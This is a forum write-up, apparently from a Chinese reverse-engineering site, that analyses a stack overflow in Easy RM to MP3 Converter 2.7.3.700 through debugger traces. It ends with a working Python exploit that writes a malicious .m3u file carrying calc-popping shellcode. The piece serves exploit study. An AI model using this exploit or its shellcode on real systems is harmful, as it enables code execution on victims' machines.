首页
社区
课程
招聘
[原创]对Easy RM to MP3 Converter 2.7.3.700的栈溢出漏洞分析
2014-5-29 16:37 4310

[原创]对Easy RM to MP3 Converter 2.7.3.700的栈溢出漏洞分析

2014-5-29 16:37
4310
说实话自己一直对如何定位漏洞点很头痛,看着别人下各种各样的断点,栈回溯等技巧,总是觉得似懂非懂。不同的软件,不同的漏洞类型有不同的技巧,这需要慢慢长期积累经验。

最近偶然看到一篇文章,《漏洞分析第一次--漏洞发现》,11年写的,作者当时还是新手,在大牛K_K的指导下完成。分析的是一个普通的栈溢出,原文地址在这里:http://hi.baidu.com/chill_bupt/item/d540f4394b6995dc392ffa0c。看完后自己也受到一些启发,感觉按照K_K的思路,很多栈溢出类型的漏洞都可以用此方式来分析,所以自己也试着分析了一个,就是exploit编写系列教程第一篇里的那个Easy RM to MP3 Converter 2.7.3.700的栈溢出漏洞。我下载了原作者的exploit,发现在windows xp sp3简体中文版下已经不能运行(当时分析的环境是windows xp sp2 en),并且在调试中发现缓冲区大小也和原作者的分析有差异(他用的是metasploit的一个小工具计算的),于是自己从头到尾分析了这个漏洞,并写出弹计算器的exploit。

软件我上传到了附件中。

还记得当时的场景吗?构造一个恶意的m3u文件,填了20000个A,没崩,填了30000个,崩掉了,eip被改为41414141。我就拿这个填了30000个A的m3u来分析。

环境:windows xp sp3 professional 简体中文版(虚拟机下)
调试器:Immunity Debugger 1.85

用调试器打开Easy RM to MP3 Converter,加载m3u文件,崩掉,eip被改为41414141。

很显然崩溃是因为返回这个问题函数的上层函数的时候发生的。虽然返回失败,但这个问题函数还会调用其他函数,只要调用了其他函数,那么从这个问题函数的栈帧开始向低地址搜索,肯定会发现其他函数的返回地址,肯定返回到了这个问题函数中。然后,就好办了。

在栈帧中向低地址找,直到没有那一堆A。



再往上是一些参数,然后esp-8920,esp-8924是现在ebx的值,esp-8928是现在ebp的值。再往上msvcrt的那个返回地址不用管它,esp-8930是现在edi的值,然后就是返回地址了。

在Immunity Debugger中转到0041E9D8,当单步RETN 4后,程序崩掉。



现在上IDA,打开Easy RM to MP3 Converter,转到0041E9D8,来到这里:



按空格键,转换为视图模式:



可以看出这个函数的名字是:sub_41E2B0,也就是返回失败前最后调用的那个函数,也就是上文提到的问题函数。双击它,来到这个函数开始的地方。



顺着跳转往下找,很快发现了复制字符串,计算字符串长度的东西:



在到达这个问题函数的末尾前,还有一些这样跟复制有关的,那怎么确定到底是在哪里出现问题,发生了溢出?看来只有调试一下了。

先来看看栈上的情况,当最后崩掉时,esp=000FFD38,那个问题函数最后返回时是RETN 4,所以,存放返回地址的地方是000FFD38 - 8 =000FFD30

要复制东西,应该是把esi指向的东西复制到edi指向的东西。在这个问题函数开始的地方设一个断点,在栈中来到000FFD30(此时存放的还是返回地址),把栈的位置锁定,然后单步,同时观察ESI,EDI,注意REP MOVS之类的指令,如果执行完某条指令后000FFD30处变成一堆A,那就说明上一条指令发生了溢出。



到0041E3F6时,edi的值指向一堆A。那么溢出应该发生在上一条指令:

0041E3F0  |. FF93 72640000  CALL DWORD PTR DS:[EBX+6472]

重新加载,在这条指令下断点:

0041E3F0  |. FF93 72640000  CALL DWORD PTR DS:[EBX+6472]

仔细观察栈上000FFD30处的数据:

执行前,000FFD30处的数据还是返回地址,执行后,000FFD30处的数据就成一堆A了。

应该就是它了。

重新加载,F7单步步入,来到10008D40,module MSRMfilt。Alt+E查看加载的模块,实际上对应的是安装目录下的MSRMfilter03.dll这个文件。

用IDA打开这个dll文件,来到10008D40,切换到视图模式,这个函数的逻辑很简单,很快找到复制字符串的地方:



当然,也可以用调试器单步调试一下:

10008D40 > 68 C0000000      PUSH 0C0
10008D45   68 68940310      PUSH MSRMfilt.10039468                            ; ASCII "D:\Mpf2.0\MplayerMod\dll_interface\PlayListInterface.c"
10008D4A   68 48950310      PUSH MSRMfilt.10039548                            ; ASCII "Debug: Playlist_FindNextItem enter. %s(%u)"
10008D4F   6A 05            PUSH 5
10008D51   E8 8A000000      CALL MSRMfilt.10008DE0
10008D56   A1 00D60410      MOV EAX,DWORD PTR DS:[1004D600]
10008D5B   6A 01            PUSH 1
10008D5D   50               PUSH EAX
10008D5E   E8 EDDAFFFF      CALL MSRMfilt.10006850
10008D63   83C4 18          ADD ESP,18
10008D66   85C0             TEST EAX,EAX
10008D68   74 44            JE SHORT MSRMfilt.10008DAE
10008D6A   56               PUSH ESI                                          ; 001046AF
10008D6B   57               PUSH EDI                                          ; 000FFD30(栈上存放返回地址的位置)
10008D6C   8BF8             MOV EDI,EAX
10008D6E   83C9 FF          OR ECX,FFFFFFFF
10008D71   33C0             XOR EAX,EAX
10008D73   68 CD000000      PUSH 0CD
10008D78   F2:AE            REPNE SCAS BYTE PTR ES:[EDI]                      ; EDI指向C:\Documents and Settings\Administrator\桌面\AAAAAAAAAAA
10008D7A   F7D1             NOT ECX
10008D7C   2BF9             SUB EDI,ECX
10008D7E   68 68940310      PUSH MSRMfilt.10039468                            ; ASCII "D:\Mpf2.0\MplayerMod\dll_interface\PlayListInterface.c"
10008D83   8BD1             MOV EDX,ECX
10008D85   8BF7             MOV ESI,EDI                                       ; ESI指向C:\Documents and Settings\Administrator\桌面\AAAAAAAAAAA
10008D87   8B7C24 14        MOV EDI,DWORD PTR SS:[ESP+14]                     ; EDI指向OOOF9730,一开始那里是一堆0
10008D8B   68 20950310      PUSH MSRMfilt.10039520                            ; ASCII "Debug: Playlist_FindNextItem ok. %s(%u)"
10008D90   C1E9 02          SHR ECX,2
[COLOR="Red"]10008D93   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI][/COLOR]    ; 在这里发生溢出,覆盖返回地址!


找到溢出位置后,下一步是弹计算器。

返回地址变成一堆A后,马上查看栈上那一堆A的最低位置:000F975D



现在相对距离可以确定了,返回地址(000FFD30)- 最低位置(000F975D)=  65D3,转换为十进制为26067。

别忘了,问题函数最后一条指令是RETN 4,所以返回地址后面还要再加上4字节填充,然后就是esp了。

最后请教论坛里的朋友们一个问题,我找jmp esp 时,软件自带的dll里只有一处:

Found commands (All modules), item 6
Address=01EBF23A
Disassembly=JMP ESP
Module Name=C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

但用这个01EBF23A时却失败了,里面应该没有包含敏感字符吧,我也没想明白,所以在这里请教论坛里的朋友们。

最后我用了kernel32.dll里的一个地址:7C86467B

用python写的exploit,shellcode用的是这位同学http://www.purpleroc.com/html/935178.html写的windows xp sp3下的弹计算器shellcode(谁能告诉我win7动态定位的怎么写)。

import sys

print "\n============================"
print "  Easy RM to MP3 Converter 2.7.3.700 (.m3u) File Buffer Overflow Exploit  "
print "  Tested on Windows XP SP3  "
print "  Written by rongyan from pediy  "
print "============================\n"
 
# calc.exe - 85 bytes
shellcode =("\x55\x8B\xEC\x33\xC9\x83\xEC\x20\xB8\x4D\x53\x56\x43\x89\x45\xF4\xB8\x52"
		"\x54\x2E\x44\x89\x45\xF8\xB8\x4C\x4C\x4C\x4C\x89\x45\xFC"
		"\x88\x4D\xFE\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\xB8\x63\x61"
		"\x6C\x63\x89\x45\xE4\xB8\x2E\x65\x78\x65\x89\x45\xE8\x8D\x45\xE4"
		"\x33\xC9\x88\x4D\xEC\x50\xB8\xC7\x93\xBF\x77\xFF\xD0\x83\xC4\x20\x8B"
        "\xE5\x5D\xC3")
 
buffer1 = "\x41" * 26067
eip = "\x7B\x46\x86\x7C"	
buffer2 = "\x41\x41\x41\x41"

print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer1 + eip + buffer2 + shellcode)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")


弹出来了



附件: EasyRMtoMP3Converter.rar

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-5-29 17:25
2
0
占楼,exploit编写系列教程很经典...,可以尝试一下win7,win8下面的利用
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-5-30 09:52
3
0
唉,主要是动态获取kernel32.dll地址的问题我还没搞定
雪    币: 3171
活跃值: (71)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 6 2014-5-30 10:12
4
0
分析的不错,
win7下 kernel32的地址的查询,可以针对性调试下,判断某个位置的字符就能准确得到了
雪    币: 429
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2014-5-30 22:47
5
0
不同win平台动态获取kernel32.dll地址的问题,在exploit教程中也可以找到答案的。
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-5-30 22:59
6
0
应该是第九篇,我仔细看看,有不懂的还要请教泉哥哈
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-5-30 23:00
7
0
获取kernel32.dll的地址  有通用的方法 很稳定  偶写shellcode每次都用
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-5-30 23:15
8
0
安同学能否分享出来?我在这里先谢谢您了。
游客
登录 | 注册 方可回帖
返回